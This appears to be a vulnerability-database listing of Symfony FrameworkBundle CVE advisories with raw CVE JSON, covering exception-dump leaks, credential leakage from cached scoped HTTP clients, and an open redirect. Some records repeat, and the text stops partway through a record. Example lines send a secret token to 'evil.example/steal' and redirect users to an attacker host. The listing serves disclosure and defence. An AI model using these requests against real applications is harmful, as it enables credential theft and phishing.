Search
Find a vulnerability
Search criteria
6 vulnerabilities found for symfony/framework-bundle by Symfony
CVE-2026-133762 (GCVE-0-2026-133762)
Vulnerability from nvd – Published: 2026-11-25 10:00 – Updated: 2026-11-25 10:08
VLAI
EPSS
VEX
Title
Without APP_RUNTIME_MODE, HTTP Workers Running Under the CLI SAPI Return Full Exception Dumps in Production
Summary
Since Symfony 7.4.0, FrameworkBundle chooses the error renderer from the runtime mode of the application, which comes from the APP_RUNTIME_MODE env var. When this variable isn't set, the cli, phpdbg and embed SAPIs default to the CLI mode, and errors are rendered with CliErrorRenderer. This renderer dumps the whole exception, and it did so even when debug was off.
HTTP workers that run under the CLI SAPI and don't set APP_RUNTIME_MODE then sent these dumps as error responses in production. They contain the messages, file paths and traces of the exceptions. Some exceptions reference the request, like the access denied errors of access_control rules. Their dump then contains the server parameters, with all the environment variables of the application.
This affects, for example, the RoadRunner, Swoole and ReactPHP runners of php-runtime, and baldinof/roadrunner-bundle before 3.2.4. The worker mode of FrankenPHP sets the variable and isn't affected.
The CLI renderer is now used only in debug mode.
Severity
CWE
- CWE-209 - Generation of Error Message Containing Sensitive Information
References
3 references
| URL | Tags |
|---|---|
| https://symfony.com/cve-2026-133762 | vendor-advisory |
| https://github.com/symfony/symfony/security/advis… | vendor-advisory |
| https://github.com/symfony/symfony/commit/ebfd0e3… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Symfony | symfony/framework-bundle |
Affected:
7.4.0 , < 7.4.24
(semver)
Affected: 8.0.0 , < 8.1.12 (semver) |
|
| Symfony | symfony/symfony |
Affected:
7.4.0 , < 7.4.24
(semver)
Affected: 8.0.0 , < 8.1.12 (semver) |
Date Public
2026-11-25 09:36
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/framework-bundle",
"product": "symfony/framework-bundle",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/symfony",
"product": "symfony/symfony",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "koe kaverna"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Nicolas Grekas"
}
],
"datePublic": "2026-11-25T09:36:43.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/markdown",
"value": "Since Symfony 7.4.0, FrameworkBundle chooses the error renderer from the runtime mode of the application, which comes from the `APP_RUNTIME_MODE` env var. When this variable isn\u0027t set, the cli, phpdbg and embed SAPIs default to the CLI mode, and errors are rendered with `CliErrorRenderer`. This renderer dumps the whole exception, and it did so even when debug was off.\n\nHTTP workers that run under the CLI SAPI and don\u0027t set `APP_RUNTIME_MODE` then sent these dumps as error responses in production. They contain the messages, file paths and traces of the exceptions. Some exceptions reference the request, like the access denied errors of `access_control` rules. Their dump then contains the server parameters, with all the environment variables of the application.\n\nThis affects, for example, the RoadRunner, Swoole and ReactPHP runners of php-runtime, and baldinof/roadrunner-bundle before 3.2.4. The worker mode of FrankenPHP sets the variable and isn\u0027t affected.\n\nThe CLI renderer is now used only in debug mode."
}
],
"value": "Since Symfony 7.4.0, FrameworkBundle chooses the error renderer from the runtime mode of the application, which comes from the APP_RUNTIME_MODE env var. When this variable isn\u0027t set, the cli, phpdbg and embed SAPIs default to the CLI mode, and errors are rendered with CliErrorRenderer. This renderer dumps the whole exception, and it did so even when debug was off.\n\nHTTP workers that run under the CLI SAPI and don\u0027t set APP_RUNTIME_MODE then sent these dumps as error responses in production. They contain the messages, file paths and traces of the exceptions. Some exceptions reference the request, like the access denied errors of access_control rules. Their dump then contains the server parameters, with all the environment variables of the application.\n\nThis affects, for example, the RoadRunner, Swoole and ReactPHP runners of php-runtime, and baldinof/roadrunner-bundle before 3.2.4. The worker mode of FrankenPHP sets the variable and isn\u0027t affected.\n\nThe CLI renderer is now used only in debug mode."
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 6,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-209",
"description": "CWE-209 Generation of Error Message Containing Sensitive Information",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-25T10:08:13.241Z",
"orgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"shortName": "Symfony"
},
"references": [
{
"name": "CVE-2026-133762",
"tags": [
"vendor-advisory"
],
"url": "https://symfony.com/cve-2026-133762"
},
{
"name": "GHSA-rvjx-g4vq-c3hv",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/symfony/symfony/security/advisories/GHSA-rvjx-g4vq-c3hv"
},
{
"tags": [
"patch"
],
"url": "https://github.com/symfony/symfony/commit/ebfd0e3731ddc4c9a619054f9994ffb8f97f10df"
}
],
"source": {
"advisory": "GHSA-rvjx-g4vq-c3hv",
"discovery": "UNKNOWN"
},
"title": "Without APP_RUNTIME_MODE, HTTP Workers Running Under the CLI SAPI Return Full Exception Dumps in Production",
"x_generator": {
"engine": "symfony/ghsa-to-cve"
}
}
},
"cveMetadata": {
"assignerOrgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"assignerShortName": "Symfony",
"cveId": "CVE-2026-133762",
"datePublished": "2026-11-25T10:00:20.930Z",
"dateReserved": "2026-11-20T14:01:43.158Z",
"dateUpdated": "2026-11-25T10:08:13.241Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-133747 (GCVE-0-2026-133747)
Vulnerability from nvd – Published: 2026-11-25 10:00 – Updated: 2026-11-25 10:00
VLAI
EPSS
VEX
Title
Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin
Summary
Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope:
framework:
http_client:
scoped_clients:
github.client:
base_uri: 'https://api.github.com'
headers: { Authorization: 'token GH-SECRET' }
caching: { enabled: true }
$githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET"
Every option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.
The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.
Severity
CWE
References
3 references
| URL | Tags |
|---|---|
| https://symfony.com/cve-2026-133747 | vendor-advisory |
| https://github.com/symfony/symfony/security/advis… | vendor-advisory |
| https://github.com/symfony/symfony/commit/b5c9d43… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Symfony | symfony/framework-bundle |
Affected:
7.4.0 , < 7.4.24
(semver)
Affected: 8.0.0 , < 8.1.12 (semver) |
|
| Symfony | symfony/symfony |
Affected:
7.4.0 , < 7.4.24
(semver)
Affected: 8.0.0 , < 8.1.12 (semver) |
Date Public
2026-11-25 09:36
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/framework-bundle",
"product": "symfony/framework-bundle",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/symfony",
"product": "symfony/symfony",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Nicolas Grekas"
}
],
"datePublic": "2026-11-25T09:36:02.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/markdown",
"value": "Since Symfony 7.4, `framework.http_client.scoped_clients` can enable caching on a scoped client. FrameworkBundle then puts a `CachingHttpClient` inside the `ScopingHttpClient`, with the options of the scope as default options. `CachingHttpClient` merges them into every request. So the credentials of the scope, like `auth_bearer`, `auth_basic` or an `Authorization` header, are also sent to URLs outside the scope:\n\n```yaml\nframework:\n http_client:\n scoped_clients:\n github.client:\n base_uri: \u0027https://api.github.com\u0027\n headers: { Authorization: \u0027token GH-SECRET\u0027 }\n caching: { enabled: true }\n```\n\n```php\n$githubClient-\u003erequest(\u0027GET\u0027, \u0027https://evil.example/steal\u0027); // sent with \"Authorization: token GH-SECRET\"\n```\n\nEvery option of the scope applies outside of it, not only the credentials, for example `verify_peer: false`, a client certificate, `proxy` or `resolve`. Without `caching`, `ScopingHttpClient` sends no option of the scope to `evil.example`. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.\n\nThe `CachingHttpClient` of a scoped client is now registered without default options. `ScopingHttpClient` already applies them to the requests that match the scope."
}
],
"value": "Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope:\n\nframework:\n http_client:\n scoped_clients:\n github.client:\n base_uri: \u0027https://api.github.com\u0027\n headers: { Authorization: \u0027token GH-SECRET\u0027 }\n caching: { enabled: true }\n\n$githubClient-\u003erequest(\u0027GET\u0027, \u0027https://evil.example/steal\u0027); // sent with \"Authorization: token GH-SECRET\"\n\nEvery option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.\n\nThe CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope."
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200 Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-522",
"description": "CWE-522 Insufficiently Protected Credentials",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-25T10:00:07.584Z",
"orgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"shortName": "Symfony"
},
"references": [
{
"name": "CVE-2026-133747",
"tags": [
"vendor-advisory"
],
"url": "https://symfony.com/cve-2026-133747"
},
{
"name": "GHSA-4vfr-w5wp-83fr",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/symfony/symfony/security/advisories/GHSA-4vfr-w5wp-83fr"
},
{
"tags": [
"patch"
],
"url": "https://github.com/symfony/symfony/commit/b5c9d4329ece256385a84fa06776315beab68974"
}
],
"source": {
"advisory": "GHSA-4vfr-w5wp-83fr",
"discovery": "UNKNOWN"
},
"title": "Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin",
"x_generator": {
"engine": "symfony/ghsa-to-cve"
}
}
},
"cveMetadata": {
"assignerOrgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"assignerShortName": "Symfony",
"cveId": "CVE-2026-133747",
"datePublished": "2026-11-25T10:00:07.584Z",
"dateReserved": "2026-11-20T14:01:43.157Z",
"dateUpdated": "2026-11-25T10:00:07.584Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-133745 (GCVE-0-2026-133745)
Vulnerability from nvd – Published: 2026-11-25 10:00 – Updated: 2026-11-25 10:08
VLAI
EPSS
VEX
Title
Trailing-Slash and Scheme Redirects Send Paths Starting With // to Another Host
Summary
The router redirects a request to the same URL with or without its trailing slash, or with the scheme that a route requires. To do so, the matcher returns RedirectController::urlRedirectAction() with the path info of the request as path. Since Symfony 5.4.44, 6.4.12 and 7.1.5, urlRedirectAction() turns a path that starts with // into <scheme>://..., so that protocol-relative targets configured in routes work. The path info of a request starts with // when its URI does. So these redirects send the browser to the host written at the start of the path:
GET https://app.example//evil.example/edit/ => 301 Location: https://evil.example/edit
This affects routes whose path starts with a placeholder that accepts /, like /{path}/edit with the .+ requirement. The trailing-slash redirect applies to all of them, and the scheme redirect to the ones that require a scheme. A front controller in a subdirectory doesn't prevent it.
The matcher now encodes the slash or backslash that follows the leading slash of the path it redirects to, as %2F or %5C. It also does so when tabs or newlines come in between. The target route still matches it, and protocol-relative targets configured in routes keep working.
The matchers of the Routing component encode it too before calling RedirectableUrlMatcherInterface::redirect(), so that other implementations of this method get the encoded path as well.
Severity
CWE
- CWE-601 - URL Redirection to Untrusted Site
References
3 references
| URL | Tags |
|---|---|
| https://symfony.com/cve-2026-133745 | vendor-advisory |
| https://github.com/symfony/symfony/security/advis… | vendor-advisory |
| https://github.com/symfony/symfony/commit/f2efcbc… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Symfony | symfony/framework-bundle |
Affected:
5.4.44 , < 5.4.57
(semver)
Affected: 6.4.12 , < 6.4.51 (semver) Affected: 7.1.5 , < 7.4.24 (semver) Affected: 8.0.0 , < 8.1.12 (semver) |
|
| Symfony | symfony/symfony |
Affected:
5.4.44 , < 5.4.57
(semver)
Affected: 6.4.12 , < 6.4.51 (semver) Affected: 7.1.5 , < 7.4.24 (semver) Affected: 8.0.0 , < 8.1.12 (semver) |
Date Public
2026-11-25 09:35
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/framework-bundle",
"product": "symfony/framework-bundle",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "5.4.57",
"status": "affected",
"version": "5.4.44",
"versionType": "semver"
},
{
"lessThan": "6.4.51",
"status": "affected",
"version": "6.4.12",
"versionType": "semver"
},
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.1.5",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/symfony",
"product": "symfony/symfony",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "5.4.57",
"status": "affected",
"version": "5.4.44",
"versionType": "semver"
},
{
"lessThan": "6.4.51",
"status": "affected",
"version": "6.4.12",
"versionType": "semver"
},
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.1.5",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Yan Buatois"
},
{
"lang": "en",
"type": "finder",
"value": "Amimul Ihsan"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Nicolas Grekas"
}
],
"datePublic": "2026-11-25T09:35:56.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/markdown",
"value": "The router redirects a request to the same URL with or without its trailing slash, or with the scheme that a route requires. To do so, the matcher returns `RedirectController::urlRedirectAction()` with the path info of the request as `path`. Since Symfony 5.4.44, 6.4.12 and 7.1.5, `urlRedirectAction()` turns a path that starts with `//` into `\u003cscheme\u003e://...`, so that protocol-relative targets configured in routes work. The path info of a request starts with `//` when its URI does. So these redirects send the browser to the host written at the start of the path:\n\n```\nGET https://app.example//evil.example/edit/ =\u003e 301 Location: https://evil.example/edit\n```\n\nThis affects routes whose path starts with a placeholder that accepts `/`, like `/{path}/edit` with the `.+` requirement. The trailing-slash redirect applies to all of them, and the scheme redirect to the ones that require a scheme. A front controller in a subdirectory doesn\u0027t prevent it.\n\nThe matcher now encodes the slash or backslash that follows the leading slash of the path it redirects to, as `%2F` or `%5C`. It also does so when tabs or newlines come in between. The target route still matches it, and protocol-relative targets configured in routes keep working.\n\nThe matchers of the Routing component encode it too before calling `RedirectableUrlMatcherInterface::redirect()`, so that other implementations of this method get the encoded path as well."
}
],
"value": "The router redirects a request to the same URL with or without its trailing slash, or with the scheme that a route requires. To do so, the matcher returns RedirectController::urlRedirectAction() with the path info of the request as path. Since Symfony 5.4.44, 6.4.12 and 7.1.5, urlRedirectAction() turns a path that starts with // into \u003cscheme\u003e://..., so that protocol-relative targets configured in routes work. The path info of a request starts with // when its URI does. So these redirects send the browser to the host written at the start of the path:\n\nGET https://app.example//evil.example/edit/ =\u003e 301 Location: https://evil.example/edit\n\nThis affects routes whose path starts with a placeholder that accepts /, like /{path}/edit with the .+ requirement. The trailing-slash redirect applies to all of them, and the scheme redirect to the ones that require a scheme. A front controller in a subdirectory doesn\u0027t prevent it.\n\nThe matcher now encodes the slash or backslash that follows the leading slash of the path it redirects to, as %2F or %5C. It also does so when tabs or newlines come in between. The target route still matches it, and protocol-relative targets configured in routes keep working.\n\nThe matchers of the Routing component encode it too before calling RedirectableUrlMatcherInterface::redirect(), so that other implementations of this method get the encoded path as well."
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-601",
"description": "CWE-601 URL Redirection to Untrusted Site",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-25T10:08:08.905Z",
"orgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"shortName": "Symfony"
},
"references": [
{
"name": "CVE-2026-133745",
"tags": [
"vendor-advisory"
],
"url": "https://symfony.com/cve-2026-133745"
},
{
"name": "GHSA-q2qh-q4p8-qcmj",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/symfony/symfony/security/advisories/GHSA-q2qh-q4p8-qcmj"
},
{
"tags": [
"patch"
],
"url": "https://github.com/symfony/symfony/commit/f2efcbcb236cf18a4efa71581c20edbe03c7ef6b"
}
],
"source": {
"advisory": "GHSA-q2qh-q4p8-qcmj",
"discovery": "UNKNOWN"
},
"title": "Trailing-Slash and Scheme Redirects Send Paths Starting With // to Another Host",
"x_generator": {
"engine": "symfony/ghsa-to-cve"
}
}
},
"cveMetadata": {
"assignerOrgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"assignerShortName": "Symfony",
"cveId": "CVE-2026-133745",
"datePublished": "2026-11-25T10:00:05.781Z",
"dateReserved": "2026-11-20T14:01:43.157Z",
"dateUpdated": "2026-11-25T10:08:08.905Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-133762 (GCVE-0-2026-133762)
Vulnerability from cvelistv5 – Published: 2026-11-25 10:00 – Updated: 2026-11-25 10:08
VLAI
EPSS
VEX
Title
Without APP_RUNTIME_MODE, HTTP Workers Running Under the CLI SAPI Return Full Exception Dumps in Production
Summary
Since Symfony 7.4.0, FrameworkBundle chooses the error renderer from the runtime mode of the application, which comes from the APP_RUNTIME_MODE env var. When this variable isn't set, the cli, phpdbg and embed SAPIs default to the CLI mode, and errors are rendered with CliErrorRenderer. This renderer dumps the whole exception, and it did so even when debug was off.
HTTP workers that run under the CLI SAPI and don't set APP_RUNTIME_MODE then sent these dumps as error responses in production. They contain the messages, file paths and traces of the exceptions. Some exceptions reference the request, like the access denied errors of access_control rules. Their dump then contains the server parameters, with all the environment variables of the application.
This affects, for example, the RoadRunner, Swoole and ReactPHP runners of php-runtime, and baldinof/roadrunner-bundle before 3.2.4. The worker mode of FrankenPHP sets the variable and isn't affected.
The CLI renderer is now used only in debug mode.
Severity
CWE
- CWE-209 - Generation of Error Message Containing Sensitive Information
References
3 references
| URL | Tags |
|---|---|
| https://symfony.com/cve-2026-133762 | vendor-advisory |
| https://github.com/symfony/symfony/security/advis… | vendor-advisory |
| https://github.com/symfony/symfony/commit/ebfd0e3… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Symfony | symfony/framework-bundle |
Affected:
7.4.0 , < 7.4.24
(semver)
Affected: 8.0.0 , < 8.1.12 (semver) |
|
| Symfony | symfony/symfony |
Affected:
7.4.0 , < 7.4.24
(semver)
Affected: 8.0.0 , < 8.1.12 (semver) |
Date Public
2026-11-25 09:36
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/framework-bundle",
"product": "symfony/framework-bundle",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/symfony",
"product": "symfony/symfony",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "koe kaverna"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Nicolas Grekas"
}
],
"datePublic": "2026-11-25T09:36:43.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/markdown",
"value": "Since Symfony 7.4.0, FrameworkBundle chooses the error renderer from the runtime mode of the application, which comes from the `APP_RUNTIME_MODE` env var. When this variable isn\u0027t set, the cli, phpdbg and embed SAPIs default to the CLI mode, and errors are rendered with `CliErrorRenderer`. This renderer dumps the whole exception, and it did so even when debug was off.\n\nHTTP workers that run under the CLI SAPI and don\u0027t set `APP_RUNTIME_MODE` then sent these dumps as error responses in production. They contain the messages, file paths and traces of the exceptions. Some exceptions reference the request, like the access denied errors of `access_control` rules. Their dump then contains the server parameters, with all the environment variables of the application.\n\nThis affects, for example, the RoadRunner, Swoole and ReactPHP runners of php-runtime, and baldinof/roadrunner-bundle before 3.2.4. The worker mode of FrankenPHP sets the variable and isn\u0027t affected.\n\nThe CLI renderer is now used only in debug mode."
}
],
"value": "Since Symfony 7.4.0, FrameworkBundle chooses the error renderer from the runtime mode of the application, which comes from the APP_RUNTIME_MODE env var. When this variable isn\u0027t set, the cli, phpdbg and embed SAPIs default to the CLI mode, and errors are rendered with CliErrorRenderer. This renderer dumps the whole exception, and it did so even when debug was off.\n\nHTTP workers that run under the CLI SAPI and don\u0027t set APP_RUNTIME_MODE then sent these dumps as error responses in production. They contain the messages, file paths and traces of the exceptions. Some exceptions reference the request, like the access denied errors of access_control rules. Their dump then contains the server parameters, with all the environment variables of the application.\n\nThis affects, for example, the RoadRunner, Swoole and ReactPHP runners of php-runtime, and baldinof/roadrunner-bundle before 3.2.4. The worker mode of FrankenPHP sets the variable and isn\u0027t affected.\n\nThe CLI renderer is now used only in debug mode."
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 6,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-209",
"description": "CWE-209 Generation of Error Message Containing Sensitive Information",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-25T10:08:13.241Z",
"orgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"shortName": "Symfony"
},
"references": [
{
"name": "CVE-2026-133762",
"tags": [
"vendor-advisory"
],
"url": "https://symfony.com/cve-2026-133762"
},
{
"name": "GHSA-rvjx-g4vq-c3hv",
"tags": [
"vendor-advisory"
],
"url": "https://github.com/symfony/symfony/security/advisories/GHSA-rvjx-g4vq-c3hv"
},
{
"tags": [
"patch"
],
"url": "https://github.com/symfony/symfony/commit/ebfd0e3731ddc4c9a619054f9994ffb8f97f10df"
}
],
"source": {
"advisory": "GHSA-rvjx-g4vq-c3hv",
"discovery": "UNKNOWN"
},
"title": "Without APP_RUNTIME_MODE, HTTP Workers Running Under the CLI SAPI Return Full Exception Dumps in Production",
"x_generator": {
"engine": "symfony/ghsa-to-cve"
}
}
},
"cveMetadata": {
"assignerOrgId": "b5aa5c7f-767d-4597-9c64-3ac08b8711c6",
"assignerShortName": "Symfony",
"cveId": "CVE-2026-133762",
"datePublished": "2026-11-25T10:00:20.930Z",
"dateReserved": "2026-11-20T14:01:43.158Z",
"dateUpdated": "2026-11-25T10:08:13.241Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-133747 (GCVE-0-2026-133747)
Vulnerability from cvelistv5 – Published: 2026-11-25 10:00 – Updated: 2026-11-25 10:00
VLAI
EPSS
VEX
Title
Scoped HTTP Clients With Caching Enabled Send Their Credentials to Any Origin
Summary
Since Symfony 7.4, framework.http_client.scoped_clients can enable caching on a scoped client. FrameworkBundle then puts a CachingHttpClient inside the ScopingHttpClient, with the options of the scope as default options. CachingHttpClient merges them into every request. So the credentials of the scope, like auth_bearer, auth_basic or an Authorization header, are also sent to URLs outside the scope:
framework:
http_client:
scoped_clients:
github.client:
base_uri: 'https://api.github.com'
headers: { Authorization: 'token GH-SECRET' }
caching: { enabled: true }
$githubClient->request('GET', 'https://evil.example/steal'); // sent with "Authorization: token GH-SECRET"
Every option of the scope applies outside of it, not only the credentials, for example verify_peer: false, a client certificate, proxy or resolve. Without caching, ScopingHttpClient sends no option of the scope to evil.example. Applications are affected when a scoped client with caching enabled requests a URL that an attacker can influence, absolute URLs included.
The CachingHttpClient of a scoped client is now registered without default options. ScopingHttpClient already applies them to the requests that match the scope.
Severity
CWE
References
3 references
| URL | Tags |
|---|---|
| https://symfony.com/cve-2026-133747 | vendor-advisory |
| https://github.com/symfony/symfony/security/advis… | vendor-advisory |
| https://github.com/symfony/symfony/commit/b5c9d43… | patch |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Symfony | symfony/framework-bundle |
Affected:
7.4.0 , < 7.4.24
(semver)
Affected: 8.0.0 , < 8.1.12 (semver) |
|
| Symfony | symfony/symfony |
Affected:
7.4.0 , < 7.4.24
(semver)
Affected: 8.0.0 , < 8.1.12 (semver) |
Date Public
2026-11-25 09:36
{
"containers": {
"cna": {
"affected": [
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/framework-bundle",
"product": "symfony/framework-bundle",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
},
{
"collectionURL": "https://packagist.org",
"defaultStatus": "unaffected",
"packageName": "symfony/symfony",
"product": "symfony/symfony",
"repo": "https://github.com/symfony/symfony",
"vendor": "Symfony",
"versions": [
{
"lessThan": "7.4.24",
"status": "affected",
"version": "7.4.0",
"versionType": "semver"
},
{
"lessThan": "8.1.12",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "remediation developer",
"value": "Nicolas Grekas"
}
],
"datePublic": "2026-11-25T09:36:02.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/markdown",
